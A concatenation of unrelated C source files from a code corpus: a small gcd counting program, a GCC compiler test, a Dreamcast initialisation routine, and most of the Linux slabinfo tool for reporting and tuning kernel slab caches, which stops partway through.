int gcd(int x,int y){
if(x%y==0)return y;
else return gcd(y,x%y);
}
int main(){
int x,y;
scanf("%d%d",&x,&y);
int tot=x*y,ans=0;
for(int i=x;i<=y;i++) if(tot%i==0 && tot/gcd(i,tot/i) == y && gcd(i,tot/i)==x) ans++;
printf("%d\n",ans);
return 0;
}
|
the_stack_data/31389042.c | /* { dg-do compile } */
/* { dg-options "-O2" } */
/* { dg-final { scan-assembler "bn " } } */
/* { dg-final { scan-assembler "b\[np\] " } } */
unsigned short a_below __attribute__((__BELOW100__));
unsigned short b_below __attribute__((__BELOW100__));
unsigned short * a_ptr = & a_below;
unsigned short * b_ptr = & b_below;
char *
foo (void)
{
if (a_below & 0x0100)
{
if (b_below & 0x0100)
return "Fail";
return "Success";
}
return "Fail";
}
char *
bar (void)
{
*a_ptr = 0x0100;
*b_ptr = 0xfeff;
return foo ();
}
|
the_stack_data/184519335.c | #include <stdio.h>
#include <stdlib.h>
#ifdef DREAMCAST
#include <kos.h>
#include "LMP3D/LMP3D.h"
#include "LMP3D/DC/DC.h"
void LMP3D_Init()
{
int flag[2];
flag[0] = 0x00000;
asm __volatile__(
"mov.l @%0,r0\n "
"lds r0,FPSCR\n " //GBR VBR SSR SPC SGR DBR
//"sts FPSCR,r0\n " //GBR VBR SSR SPC SGR DBR
//"mov.l r0,@%0\n "
:: "r"(flag) : "memory");
//printf("result :%x\n ",flag[0]);
RW_REGISTER_U32(RENDER_PALETTE+DC_P2) = 0;
DC_Init();
}
#endif
|
the_stack_data/120709.c | const char* name = "true";
int
main(void)
{
return 0;
}
|
the_stack_data/25138222.c | /*
* Slabinfo: Tool to get reports about slabs
*
* (C) 2007 sgi, Christoph Lameter
* (C) 2011 Linux Foundation, Christoph Lameter
*
* Compile with:
*
* gcc -o slabinfo slabinfo.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <dirent.h>
#include <strings.h>
#include <string.h>
#include <unistd.h>
#include <stdarg.h>
#include <getopt.h>
#include <regex.h>
#include <errno.h>
#define MAX_SLABS 500
#define MAX_ALIASES 500
#define MAX_NODES 1024
struct slabinfo {
char *name;
int alias;
int refs;
int aliases, align, cache_dma, cpu_slabs, destroy_by_rcu;
int hwcache_align, object_size, objs_per_slab;
int sanity_checks, slab_size, store_user, trace;
int order, poison, reclaim_account, red_zone;
unsigned long partial, objects, slabs, objects_partial, objects_total;
unsigned long alloc_fastpath, alloc_slowpath;
unsigned long free_fastpath, free_slowpath;
unsigned long free_frozen, free_add_partial, free_remove_partial;
unsigned long alloc_from_partial, alloc_slab, free_slab, alloc_refill;
unsigned long cpuslab_flush, deactivate_full, deactivate_empty;
unsigned long deactivate_to_head, deactivate_to_tail;
unsigned long deactivate_remote_frees, order_fallback;
unsigned long cmpxchg_double_cpu_fail, cmpxchg_double_fail;
unsigned long alloc_node_mismatch, deactivate_bypass;
unsigned long cpu_partial_alloc, cpu_partial_free;
int numa[MAX_NODES];
int numa_partial[MAX_NODES];
} slabinfo[MAX_SLABS];
struct aliasinfo {
char *name;
char *ref;
struct slabinfo *slab;
} aliasinfo[MAX_ALIASES];
int slabs = 0;
int actual_slabs = 0;
int aliases = 0;
int alias_targets = 0;
int highest_node = 0;
char buffer[4096];
int show_empty = 0;
int show_report = 0;
int show_alias = 0;
int show_slab = 0;
int skip_zero = 1;
int show_numa = 0;
int show_track = 0;
int show_first_alias = 0;
int validate = 0;
int shrink = 0;
int show_inverted = 0;
int show_single_ref = 0;
int show_totals = 0;
int sort_size = 0;
int sort_active = 0;
int set_debug = 0;
int show_ops = 0;
int show_activity = 0;
/* Debug options */
int sanity = 0;
int redzone = 0;
int poison = 0;
int tracking = 0;
int tracing = 0;
int page_size;
regex_t pattern;
static void fatal(const char *x, ...)
{
va_list ap;
va_start(ap, x);
vfprintf(stderr, x, ap);
va_end(ap);
exit(EXIT_FAILURE);
}
static void usage(void)
{
printf("slabinfo 4/15/2011. (c) 2007 sgi/(c) 2011 Linux Foundation.\n\n"
"slabinfo [-ahnpvtsz] [-d debugopts] [slab-regexp]\n"
"-a|--aliases Show aliases\n"
"-A|--activity Most active slabs first\n"
"-d<options>|--debug=<options> Set/Clear Debug options\n"
"-D|--display-active Switch line format to activity\n"
"-e|--empty Show empty slabs\n"
"-f|--first-alias Show first alias\n"
"-h|--help Show usage information\n"
"-i|--inverted Inverted list\n"
"-l|--slabs Show slabs\n"
"-n|--numa Show NUMA information\n"
"-o|--ops Show kmem_cache_ops\n"
"-s|--shrink Shrink slabs\n"
"-r|--report Detailed report on single slabs\n"
"-S|--Size Sort by size\n"
"-t|--tracking Show alloc/free information\n"
"-T|--Totals Show summary information\n"
"-v|--validate Validate slabs\n"
"-z|--zero Include empty slabs\n"
"-1|--1ref Single reference\n"
"\nValid debug options (FZPUT may be combined)\n"
"a / A Switch on all debug options (=FZUP)\n"
"- Switch off all debug options\n"
"f / F Sanity Checks (SLAB_DEBUG_FREE)\n"
"z / Z Redzoning\n"
"p / P Poisoning\n"
"u / U Tracking\n"
"t / T Tracing\n"
);
}
static unsigned long read_obj(const char *name)
{
FILE *f = fopen(name, "r");
if (!f)
buffer[0] = 0;
else {
if (!fgets(buffer, sizeof(buffer), f))
buffer[0] = 0;
fclose(f);
if (buffer[strlen(buffer)] == '\n')
buffer[strlen(buffer)] = 0;
}
return strlen(buffer);
}
/*
* Get the contents of an attribute
*/
static unsigned long get_obj(const char *name)
{
if (!read_obj(name))
return 0;
return atol(buffer);
}
static unsigned long get_obj_and_str(const char *name, char **x)
{
unsigned long result = 0;
char *p;
*x = NULL;
if (!read_obj(name)) {
x = NULL;
return 0;
}
result = strtoul(buffer, &p, 10);
while (*p == ' ')
p++;
if (*p)
*x = strdup(p);
return result;
}
static void set_obj(struct slabinfo *s, const char *name, int n)
{
char x[100];
FILE *f;
snprintf(x, 100, "%s/%s", s->name, name);
f = fopen(x, "w");
if (!f)
fatal("Cannot write to %s\n", x);
fprintf(f, "%d\n", n);
fclose(f);
}
static unsigned long read_slab_obj(struct slabinfo *s, const char *name)
{
char x[100];
FILE *f;
size_t l;
snprintf(x, 100, "%s/%s", s->name, name);
f = fopen(x, "r");
if (!f) {
buffer[0] = 0;
l = 0;
} else {
l = fread(buffer, 1, sizeof(buffer), f);
buffer[l] = 0;
fclose(f);
}
return l;
}
/*
* Put a size string together
*/
static int store_size(char *buffer, unsigned long value)
{
unsigned long divisor = 1;
char trailer = 0;
int n;
if (value > 1000000000UL) {
divisor = 100000000UL;
trailer = 'G';
} else if (value > 1000000UL) {
divisor = 100000UL;
trailer = 'M';
} else if (value > 1000UL) {
divisor = 100;
trailer = 'K';
}
value /= divisor;
n = sprintf(buffer, "%ld",value);
if (trailer) {
buffer[n] = trailer;
n++;
buffer[n] = 0;
}
if (divisor != 1) {
memmove(buffer + n - 2, buffer + n - 3, 4);
buffer[n-2] = '.';
n++;
}
return n;
}
static void decode_numa_list(int *numa, char *t)
{
int node;
int nr;
memset(numa, 0, MAX_NODES * sizeof(int));
if (!t)
return;
while (*t == 'N') {
t++;
node = strtoul(t, &t, 10);
if (*t == '=') {
t++;
nr = strtoul(t, &t, 10);
numa[node] = nr;
if (node > highest_node)
highest_node = node;
}
while (*t == ' ')
t++;
}
}
static void slab_validate(struct slabinfo *s)
{
if (strcmp(s->name, "*") == 0)
return;
set_obj(s, "validate", 1);
}
static void slab_shrink(struct slabinfo *s)
{
if (strcmp(s->name, "*") == 0)
return;
set_obj(s, "shrink", 1);
}
int line = 0;
static void first_line(void)
{
if (show_activity)
printf("Name Objects Alloc Free %%Fast Fallb O CmpX UL\n");
else
printf("Name Objects Objsize Space "
"Slabs/Part/Cpu O/S O %%Fr %%Ef Flg\n");
}
/*
* Find the shortest alias of a slab
*/
static struct aliasinfo *find_one_alias(struct slabinfo *find)
{
struct aliasinfo *a;
struct aliasinfo *best = NULL;
for(a = aliasinfo;a < aliasinfo + aliases; a++) {
if (a->slab == find &&
(!best || strlen(best->name) < strlen(a->name))) {
best = a;
if (strncmp(a->name,"kmall", 5) == 0)
return best;
}
}
return best;
}
static unsigned long slab_size(struct slabinfo *s)
{
return s->slabs * (page_size << s->order);
}
static unsigned long slab_activity(struct slabinfo *s)
{
return s->alloc_fastpath + s->free_fastpath +
s->alloc_slowpath + s->free_slowpath;
}
static void slab_numa(struct slabinfo *s, int mode)
{
int node;
if (strcmp(s->name, "*") == 0)
return;
if (!highest_node) {
printf("\n%s: No NUMA information available.\n", s->name);
return;
}
if (skip_zero && !s->slabs)
return;
if (!line) {
printf("\n%-21s:", mode ? "NUMA nodes" : "Slab");
for(node = 0; node <= highest_node; node++)
printf(" %4d", node);
printf("\n----------------------");
for(node = 0; node <= highest_node; node++)
printf("-----");
printf("\n");
}
printf("%-21s ", mode ? "All slabs" : s->name);
for(node = 0; node <= highest_node; node++) {
char b[20];
store_size(b, s->numa[node]);
printf(" %4s", b);
}
printf("\n");
if (mode) {
printf("%-21s ", "Partial slabs");
for(node = 0; node <= highest_node; node++) {
char b[20];
store_size(b, s->numa_partial[node]);
printf(" %4s", b);
}
printf("\n");
}
line++;
}
static void show_tracking(struct slabinfo *s)
{
printf("\n%s: Kernel object allocation\n", s->name);
printf("-----------------------------------------------------------------------\n");
if (read_slab_obj(s, "alloc_calls"))
printf("%s", buffer);
else
printf("No Data\n");
printf("\n%s: Kernel object freeing\n", s->name);
printf("------------------------------------------------------------------------\n");
if (read_slab_obj(s, "free_calls"))
printf("%s", buffer);
else
printf("No Data\n");
}
static void ops(struct slabinfo *s)
{
if (strcmp(s->name, "*") == 0)
return;
if (read_slab_obj(s, "ops")) {
printf("\n%s: kmem_cache operations\n", s->name);
printf("--------------------------------------------\n");
printf("%s", buffer);
} else
printf("\n%s has no kmem_cache operations\n", s->name);
}
static const char *onoff(int x)
{
if (x)
return "On ";
return "Off";
}
static void slab_stats(struct slabinfo *s)
{
unsigned long total_alloc;
unsigned long total_free;
unsigned long total;
if (!s->alloc_slab)
return;
total_alloc = s->alloc_fastpath + s->alloc_slowpath;
total_free = s->free_fastpath + s->free_slowpath;
if (!total_alloc)
return;
printf("\n");
printf("Slab Perf Counter Alloc Free %%Al %%Fr\n");
printf("--------------------------------------------------\n");
printf("Fastpath %8lu %8lu %3lu %3lu\n",
s->alloc_fastpath, s->free_fastpath,
s->alloc_fastpath * 100 / total_alloc,
total_free ? s->free_fastpath * 100 / total_free : 0);
printf("Slowpath %8lu %8lu %3lu %3lu\n",
total_alloc - s->alloc_fastpath, s->free_slowpath,
(total_alloc - s->alloc_fastpath) * 100 / total_alloc,
total_free ? s->free_slowpath * 100 / total_free : 0);
printf("Page Alloc %8lu %8lu %3lu %3lu\n",
s->alloc_slab, s->free_slab,
s->alloc_slab * 100 / total_alloc,
total_free ? s->free_slab * 100 / total_free : 0);
printf("Add partial %8lu %8lu %3lu %3lu\n",
s->deactivate_to_head + s->deactivate_to_tail,
s->free_add_partial,
(s->deactivate_to_head + s->deactivate_to_tail) * 100 / total_alloc,
total_free ? s->free_add_partial * 100 / total_free : 0);
printf("Remove partial %8lu %8lu %3lu %3lu\n",
s->alloc_from_partial, s->free_remove_partial,
s->alloc_from_partial * 100 / total_alloc,
total_free ? s->free_remove_partial * 100 / total_free : 0);
printf("Cpu partial list %8lu %8lu %3lu %3lu\n",
s->cpu_partial_alloc, s->cpu_partial_free,
s->cpu_partial_alloc * 100 / total_alloc,
total_free ? s->cpu_partial_free * 100 / total_free : 0);
printf("RemoteObj/SlabFrozen %8lu %8lu %3lu %3lu\n",
s->deactivate_remote_frees, s->free_frozen,
s->deactivate_remote_frees * 100 / total_alloc,
total_free ? s->free_frozen * 100 / total_free : 0);
printf("Total %8lu %8lu\n\n", total_alloc, total_free);
if (s->cpuslab_flush)
printf("Flushes %8lu\n", s->cpuslab_flush);
total = s->deactivate_full + s->deactivate_empty +
s->deactivate_to_head + s->deactivate_to_tail + s->deactivate_bypass;
if (total) {
printf("\nSlab Deactivation Ocurrences %%\n");
printf("-------------------------------------------------\n");
printf("Slab full %7lu %3lu%%\n",
s->deactivate_full, (s->deactivate_full * 100) / total);
printf("Slab empty %7lu %3lu%%\n",
s->deactivate_empty, (s->deactivate_empty * 100) / total);
printf("Moved to head of partial list %7lu %3lu%%\n",
s->deactivate_to_head, (s->deactivate_to_head * 100) / total);
printf("Moved to tail of partial list %7lu %3lu%%\n",
s->deactivate_to_tail, (s->deactivate_to_tail * 100) / total);
printf("Deactivation bypass %7lu %3lu%%\n",
s->deactivate_bypass, (s->deactivate_bypass * 100) / total);
printf("Refilled from foreign frees %7lu %3lu%%\n",
s->alloc_refill, (s->alloc_refill * 100) / total);
printf("Node mismatch %7lu %3lu%%\n",
s->alloc_node_mismatch, (s->alloc_node_mismatch * 100) / total);
}
if (s->cmpxchg_double_fail || s->cmpxchg_double_cpu_fail) {
printf("\nCmpxchg_double Looping\n------------------------\n");
printf("Locked Cmpxchg Double redos %lu\nUnlocked Cmpxchg Double redos %lu\n",
s->cmpxchg_double_fail, s->cmpxchg_double_cpu_fail);
}
}
static void report(struct slabinfo *s)
{
if (strcmp(s->name, "*") == 0)
return;
printf("\nSlabcache: %-20s Aliases: %2d Order : %2d Objects: %lu\n",
s->name, s->aliases, s->order, s->objects);
if (s->hwcache_align)
printf("** Hardware cacheline aligned\n");
if (s->cache_dma)
printf("** Memory is allocated in a special DMA zone\n");
if (s->destroy_by_rcu)
printf("** Slabs are destroyed via RCU\n");
if (s->reclaim_account)
printf("** Reclaim accounting active\n");
printf("\nSizes (bytes) Slabs Debug Memory\n");
printf("------------------------------------------------------------------------\n");
printf("Object : %7d Total : %7ld Sanity Checks : %s Total: %7ld\n",
s->object_size, s->slabs, onoff(s->sanity_checks),
s->slabs * (page_size << s->order));
printf("SlabObj: %7d Full : %7ld Redzoning : %s Used : %7ld\n",
s->slab_size, s->slabs - s->partial - s->cpu_slabs,
onoff(s->red_zone), s->objects * s->object_size);
printf("SlabSiz: %7d Partial: %7ld Poisoning : %s Loss : %7ld\n",
page_size << s->order, s->partial, onoff(s->poison),
s->slabs * (page_size << s->order) - s->objects * s->object_size);
printf("Loss : %7d CpuSlab: %7d Tracking : %s Lalig: %7ld\n",
s->slab_size - s->object_size, s->cpu_slabs, onoff(s->store_user),
(s->slab_size - s->object_size) * s->objects);
printf("Align : %7d Objects: %7d Tracing : %s Lpadd: %7ld\n",
s->align, s->objs_per_slab, onoff(s->trace),
((page_size << s->order) - s->objs_per_slab * s->slab_size) *
s->slabs);
ops(s);
show_tracking(s);
slab_numa(s, 1);
slab_stats(s);
}
static void slabcache(struct slabinfo *s)
{
char size_str[20];
char dist_str[40];
char flags[20];
char *p = flags;
if (strcmp(s->name, "*") == 0)
return;
if (actual_slabs == 1) {
report(s);
return;
}
if (skip_zero && !show_empty && !s->slabs)
return;
if (show_empty && s->slabs)
return;
store_size(size_str, slab_size(s));
snprintf(dist_str, 40, "%lu/%lu/%d", s->slabs - s->cpu_slabs,
s->partial, s->cpu_slabs);
if (!line++)
first_line();
if (s->aliases)
*p++ = '*';
if (s->cache_dma)
*p++ = 'd';
if (s->hwcache_align)
*p++ = 'A';
if (s->poison)
*p++ = 'P';
if (s->reclaim_account)
*p++ = 'a';
if (s->red_zone)
*p++ = 'Z';
if (s->sanity_checks)
*p++ = 'F';
if (s->store_user)
*p++ = 'U';
if (s->trace)
*p++ = 'T';
*p = 0;
if (show_activity) {
unsigned long total_alloc;
unsigned long total_free;
total_alloc = s->alloc_fastpath + s->alloc_slowpath;
total_free = s->free_fastpath + s->free_slowpath;
printf("%-21s %8ld %10ld %10ld %3ld %3ld %5ld %1d %4ld %4ld\n",
s->name, s->objects,
total_alloc, total_free,
total_alloc ? (s->alloc_fastpath * 100 / total_alloc) : 0,
total_free ? (s->free_fastpath * 100 / total_free) : 0,
s->order_fallback, s->order, s->cmpxchg_double_fail,
s->cmpxchg_double_cpu_fail);
}
else
printf("%-21s %8ld %7d %8s %14s %4d %1d %3ld %3ld %s\n",
s->name, s->objects, s->object_size, size_str, dist_str,
s->objs_per_slab, s->order,
s->slabs ? (s->partial * 100) / s->slabs : 100,
s->slabs ? (s->objects * s->object_size * 100) /
(s->slabs * (page_size << s->order)) : 100,
flags);
}
/*
* Analyze debug options. Return false if something is amiss.
*/
static int debug_opt_scan(char *opt)
{
if (!opt || !opt[0] || strcmp(opt, "-") == 0)
return 1;
if (strcasecmp(opt, "a") == 0) {
sanity = 1;
poison = 1;
redzone = 1;
tracking = 1;
return 1;
}
for ( ; *opt; opt++)
switch (*opt) {
case 'F' : case 'f':
if (sanity)
return 0;
sanity = 1;
break;
case 'P' : case 'p':
if (poison)
return 0;
poison = 1;
break;
case 'Z' : case 'z':
if (redzone)
return 0;
redzone = 1;
break;
case 'U' : case 'u':
if (tracking)
return 0;
tracking = 1;
break;
case 'T' : case 't':
if (tracing)
return 0;
tracing = 1;
break;
default:
return 0;
}
return 1;
}
static int slab_empty(struct slabinfo *s)
{
if (s->objects > 0)
return 0;
/*
* We may still have slabs even if there are no objects. Shrinking will
* remove them.
*/
if (s->slabs != 0)
set_obj(s, "shrink", 1);
return 1;
}
static void slab_debug(struct slabinfo *s)
{
if (strcmp(s->name, "*") == 0)
return;
if (sanity && !s->sanity_checks) {
set_obj(s, "sanity", 1);
}
if (!sanity && s->sanity_checks) {
if (slab_empty(s))
set_obj(s, "sanity", 0);
else
fprintf(stderr, "%s not empty cannot disable sanity checks\n", s->name);
}
if (redzone && !s->red_zone) {
if (slab_empty(s))
set_obj(s, "red_zone", 1);
else
fprintf(stderr, "%s not empty cannot enable redzoning\n", s->name);
}
if (!redzone && s->red_zone) {
if (slab_empty(s))
set_obj(s, "red_zone", 0);
else
fprintf(stderr, "%s not empty cannot disable redzoning\n", s->name);
}
if (poison && !s->poison) {
if (slab_empty(s))
set_obj(s, "poison", 1);
else
fprintf(stderr, "%s not empty cannot enable poisoning\n", s->name);
}
if (!poison && s->poison) {
if (slab_empty(s))
set_obj(s, "poison", 0);
else
fprintf(stderr, "%s not empty cannot disable poisoning\n", s->name);
}
if (tracking && !s->store_user) {
if (slab_empty(s))
set_obj(s, "store_user", 1);
else
fprintf(stderr, "%s not empty cannot enable tracking\n", s->name);
}
if (!tracking && s->store_user) {
if (slab_empty(s))
set_obj(s, "store_user", 0);
else
fprintf(stderr, "%s not empty cannot disable tracking\n", s->name);
}
if (tracing && !s->trace) {
if (slabs == 1)
set_obj(s, "trace", 1);
else
fprintf(stderr, "%s can only enable trace for one slab at a time\n", s->name);
}
if (!tracing && s->trace)
set_obj(s, "trace", 1);
}
static void totals(void)
{
struct slabinfo *s;
int used_slabs = 0;
char b1[20], b2[20], b3[20], b4[20];
unsigned long long max = 1ULL << 63;
/* Object size */
unsigned long long min_objsize = max, max_objsize = 0, avg_objsize;
/* Number of partial slabs in a slabcache */
unsigned long long min_partial = max, max_partial = 0,
avg_partial, total_partial = 0;
/* Number of slabs in a slab cache */
unsigned long long min_slabs = max, max_slabs = 0,
avg_slabs, total_slabs = 0;
/* Size of the whole slab */
unsigned long long min_size = max, max_size = 0,
avg_size, total_size = 0;
/* Bytes used for object storage in a slab */
unsigned long long min_used = max, max_used = 0,
avg_used, total_used = 0;
/* Waste: Bytes used for alignment and padding */
unsigned long long min_waste = max, max_waste = 0,
avg_waste, total_waste = 0;
/* Number of objects in a slab */
unsigned long long min_objects = max, max_objects = 0,
avg_objects, total_objects = 0;
/* Waste per object */
unsigned long long min_objwaste = max,
max_objwaste = 0, avg_objwaste,
total_objwaste = 0;
/* Memory per object */
unsigned long long min_memobj = max,
max_memobj = 0, avg_memobj,
total_objsize = 0;
/* Percentage of partial slabs per slab */
unsigned long min_ppart = 100, max_ppart = 0,
avg_ppart, total_ppart = 0;
/* Number of objects in partial slabs */
unsigned long min_partobj = max, max_partobj = 0,
avg_partobj, total_partobj = 0;
/* Percentage of partial objects of all objects in a slab */
unsigned long min_ppartobj = 100, max_ppartobj = 0,
avg_ppartobj, total_ppartobj = 0;
for (s = slabinfo; s < slabinfo + slabs; s++) {
unsigned long long size;
unsigned long used;
unsigned long long wasted;
unsigned long long objwaste;
unsigned long percentage_partial_slabs;
unsigned long percentage_partial_objs;
if (!s->slabs || !s->objects)
continue;
used_slabs++;
size = slab_size(s);
used = s->objects * s->object_size;
wasted = size - used;
objwaste = s->slab_size - s->object_size;
percentage_partial_slabs = s->partial * 100 / s->slabs;
if (percentage_partial_slabs > 100)
percentage_partial_slabs = 100;
percentage_partial_objs = s->objects_partial * 100
/ s->objects;
if (percentage_partial_objs > 100)
percentage_partial_objs = 100;
if (s->object_size < min_objsize)
min_objsize = s->object_size;
if (s->partial < min_partial)
min_partial = s->partial;
if (s->slabs < min_slabs)
min_slabs = s->slabs;
if (size < min_size)
min_size = size;
if (wasted < min_waste)
min_waste = wasted;
if (objwaste < min_objwaste)
min_objwaste = objwaste;
if (s->objects < min_objects)
min_objects = s->objects;
if (used < min_used)
min_used = used;
if (s->objects_partial < min_partobj)
min_partobj = s->objects_partial;
if (percentage_partial_slabs < min_ppart)
min_ppart = percentage_partial_slabs;
if (percentage_partial_objs < min_ppartobj)
min_ppartobj = percentage_partial_objs;
if (s->slab_size < min_memobj)
min_memobj = s->slab_size;
if (s->object_size > max_objsize)
max_objsize = s->object_size;
if (s->partial > max_partial)
max_partial = s->partial;
if (s->slabs > max_slabs)
max_slabs = s->slabs;
if (size > max_size)
max_size = size;
if (wasted > max_waste)
max_waste = wasted;
if (objwaste > max_objwaste)
max_objwaste = objwaste;
if (s->objects > max_objects)
max_objects = s->objects;
if (used > max_used)
max_used = used;
if (s->objects_partial > max_partobj)
max_partobj = s->objects_partial;
if (percentage_partial_slabs > max_ppart)
max_ppart = percentage_partial_slabs;
if (percentage_partial_objs > max_ppartobj)
max_ppartobj = percentage_partial_objs;
if (s->slab_size > max_memobj)
max_memobj = s->slab_size;
total_partial += s->partial;
total_slabs += s->slabs;
total_size += size;
total_waste += wasted;
total_objects += s->objects;
total_used += used;
total_partobj += s->objects_partial;
total_ppart += percentage_partial_slabs;
total_ppartobj += percentage_partial_objs;
total_objwaste += s->objects * objwaste;
total_objsize += s->objects * s->slab_size;
}
if (!total_objects) {
printf("No objects\n");
return;
}
if (!used_slabs) {
printf("No slabs\n");
return;
}
/* Per slab averages */
avg_partial = total_partial / used_slabs;
avg_slabs = total_slabs / used_slabs;
avg_size = total_size / used_slabs;
avg_waste = total_waste / used_slabs;
avg_objects = total_objects / used_slabs;
avg_used = total_used / used_slabs;
avg_partobj = total_partobj / used_slabs;
avg_ppart = total_ppart / used_slabs;
avg_ppartobj = total_ppartobj / used_slabs;
/* Per object object sizes */
avg_objsize = total_used / total_objects;
avg_objwaste = total_objwaste / total_objects;
avg_partobj = total_partobj * 100 / total_objects;
avg_memobj = total_objsize / total_objects;
printf("Slabcache Totals\n");
printf("----------------\n");
printf("Slabcaches : %3d Aliases : %3d->%-3d Active: %3d\n",
slabs, aliases, alias_targets, used_slabs);
store_size(b1, total_size);store_size(b2, total_waste);
store_size(b3, total_waste * 100 / total_used);
printf("Memory used: %6s # Loss : %6s MRatio:%6s%%\n", b1, b2, b3);
store_size(b1, total_objects);store_size(b2, total_partobj);
store_size(b3, total_partobj * 100 / total_objects);
printf("# Objects : %6s # PartObj: %6s ORatio:%6s%%\n", b1, b2, b3);
printf("\n");
printf("Per Cache Average Min Max Total\n");
printf("---------------------------------------------------------\n");
store_size(b1, avg_objects);store_size(b2, min_objects);
store_size(b3, max_objects);store_size(b4, total_objects);
printf("#Objects %10s %10s %10s %10s\n",
b1, b2, b3, b4);
store_size(b1, avg_slabs);store_size(b2, min_slabs);
store_size(b3, max_slabs);store_size(b4, total_slabs);
printf("#Slabs %10s %10s %10s %10s\n",
b1, b2, b3, b4);
store_size(b1, avg_partial);store_size(b2, min_partial);
store_size(b3, max_partial);store_size(b4, total_partial);
printf("#PartSlab %10s %10s %10s %10s\n",
b1, b2, b3, b4);
store_size(b1, avg_ppart);store_size(b2, min_ppart);
store_size(b3, max_ppart);
store_size(b4, total_partial * 100 / total_slabs);
printf("%%PartSlab%10s%% %10s%% %10s%% %10s%%\n",
b1, b2, b3, b4);
store_size(b1, avg_partobj);store_size(b2, min_partobj);
store_size(b3, max_partobj);
store_size(b4, total_partobj);
printf("PartObjs %10s %10s %10s %10s\n",
b1, b2, b3, b4);
store_size(b1, avg_ppartobj);store_size(b2, min_ppartobj);
store_size(b3, max_ppartobj);
store_size(b4, total_partobj * 100 / total_objects);
printf("%% PartObj%10s%% %10s%% %10s%% %10s%%\n",
b1, b2, b3, b4);
store_size(b1, avg_size);store_size(b2, min_size);
store_size(b3, max_size);store_size(b4, total_size);
printf("Memory %10s %10s %10s %10s\n",
b1, b2, b3, b4);
store_size(b1, avg_used);store_size(b2, min_used);
store_size(b3, max_used);store_size(b4, total_used);
printf("Used %10s %10s %10s %10s\n",
b1, b2, b3, b4);
store_size(b1, avg_waste);store_size(b2, min_waste);
store_size(b3, max_waste);store_size(b4, total_waste);
printf("Loss %10s %10s %10s %10s\n",
b1, b2, b3, b4);
printf("\n");
printf("Per Object Average Min Max\n");
printf("---------------------------------------------\n");
store_size(b1, avg_memobj);store_size(b2, min_memobj);
store_size(b3, max_memobj);
printf("Memory %10s %10s %10s\n",
b1, b2, b3);
store_size(b1, avg_objsize);store_size(b2, min_objsize);
store_size(b3, max_objsize);
printf("User %10s %10s %10s\n",
b1, b2, b3);
store_size(b1, avg_objwaste);store_size(b2, min_objwaste);
store_size(b3, max_objwaste);
printf("Loss %10s %10s %10s\n",
b1, b2, b3);
}
static void sort_slabs(void)
{
struct slabinfo *s1,*s2;
for (s1 = slabinfo; s1 < slabinfo + slabs; s1++) {
for (s2 = s1 + 1; s2 < slabinfo + slabs; s2++) {
int result;
if (sort_size)
result = slab_size(s1) < slab_size(s2);
else if (sort_active)
result = slab_activity(s1) < slab_activity(s2);
else
result = strcasecmp(s1->name, s2->name);
if (show_inverted)
result = -result;
if (result > 0) {
struct slabinfo t;
memcpy(&t, s1, sizeof(struct slabinfo));
memcpy(s1, s2, sizeof(struct slabinfo));
memcpy(s2, &t, sizeof(struct slabinfo));
}
}
}
}
static void sort_aliases(void)
{
struct aliasinfo *a1,*a2;
for (a1 = aliasinfo; a1 < aliasinfo + aliases; a1++) {
for (a2 = a1 + 1; a2 < aliasinfo + aliases; a2++) {
char *n1, *n2;
n1 = a1->name;
n2 = a2->name;
if (show_alias && !show_inverted) {
n1 = a1->ref;
n2 = a2->ref;
}
if (strcasecmp(n1, n2) > 0) {
struct aliasinfo t;
memcpy(&t, a1, sizeof(struct aliasinfo));
memcpy(a1, a2, sizeof(struct aliasinfo));
memcpy(a2, &t, sizeof(struct aliasinfo));
}
}
}
}
static void link_slabs(void)
{
struct aliasinfo *a;
struct slabinfo *s;
for (a = aliasinfo; a < aliasinfo + aliases; a++) {
for (s = slabinfo; s < slabinfo + slabs; s++)
if (strcmp(a->ref, s->name) == 0) {
a->slab = s;
s->refs++;
break;
}
if (s == slabinfo + slabs)
fatal("Unresolved alias %s\n", a->ref);
}
}
static void alias(void)
{
struct aliasinfo *a;
char *active = NULL;
sort_aliases();
link_slabs();
for(a = aliasinfo; a < aliasinfo + aliases; a++) {
if (!show_single_ref && a->slab->refs == 1)
continue;
if (!show_inverted) {
if (active) {
if (strcmp(a->slab->name, active) == 0) {
printf(" %s", a->name);
continue;
}
}
printf("\n%-12s <- %s", a->slab->name, a->name);
active = a->slab->name;
}
else
printf("%-20s -> %s\n", a->name, a->slab->name);
}
if (active)
printf("\n");
}
static void rename_slabs(void)
{
struct slabinfo *s;
struct aliasinfo *a;
for (s = slabinfo; s < slabinfo + slabs; s++) {
if (*s->name != ':')
continue;
if (s->refs > 1 && !show_first_alias)
continue;
a = find_one_alias(s);
if (a)
s->name = a->name;
else {
s->name = "*";
actual_slabs--;
}
}
}
static int slab_mismatch(char *slab)
{
return regexec(&pattern, slab, 0, NULL, 0);
}
static void read_slab_dir(void)
{
DIR *dir;
struct dirent *de;
struct slabinfo *slab = slabinfo;
struct aliasinfo *alias = aliasinfo;
char *p;
char *t;
int count;
if (chdir("/sys/kernel/slab") && chdir("/sys/slab"))
fatal("SYSFS support for SLUB not active\n");
dir = opendir(".");
while ((de = readdir(dir))) {
if (de->d_name[0] == '.' ||
(de->d_name[0] != ':' && slab_mismatch(de->d_name)))
continue;
switch (de->d_type) {
case DT_LNK:
alias->name = strdup(de->d_name);
count = readlink(de->d_name, buffer, sizeof(buffer)-1);
if (count < 0)
fatal("Cannot read symlink %s\n", de->d_name);
buffer[count] = 0;
p = buffer + count;
while (p > buffer && p[-1] != '/')
p--;
alias->ref = strdup(p);
alias++;
break;
case DT_DIR:
if (chdir(de->d_name))
fatal("Unable to access slab %s\n", slab->name);
slab->name = strdup(de->d_name);
slab->alias = 0;
slab->refs = 0;
slab->aliases = get_obj("aliases");
slab->align = get_obj("align");
slab->cache_dma = get_obj("cache_dma");
slab->cpu_slabs = get_obj("cpu_slabs");
slab->destroy_by_rcu = get_obj("destroy_by_rcu");
slab->hwcache_align = get_obj("hwcache_align");
slab->object_size = get_obj("object_size");
slab->objects = get_obj("objects");
slab->objects_partial = get_obj("objects_partial");
slab->objects_total = get_obj("objects_total");
slab->objs_per_slab = get_obj("objs_per_slab");
slab->order = get_obj("order");
slab->partial = get_obj("partial");
slab->partial = get_obj_and_str("partial", &t);
decode_numa_list(slab->numa_partial, t);
free(t);
slab->poison = get_obj("poison");
slab->reclaim_account = get_obj("reclaim_account");
slab->red_zone = get_obj("red_zone");
slab->sanity_checks = get_obj("sanity_checks");
slab->slab_size = get_obj("slab_size");
slab->slabs = get_obj_and_str("slabs", &t);
decode_numa_list(slab->numa, t);
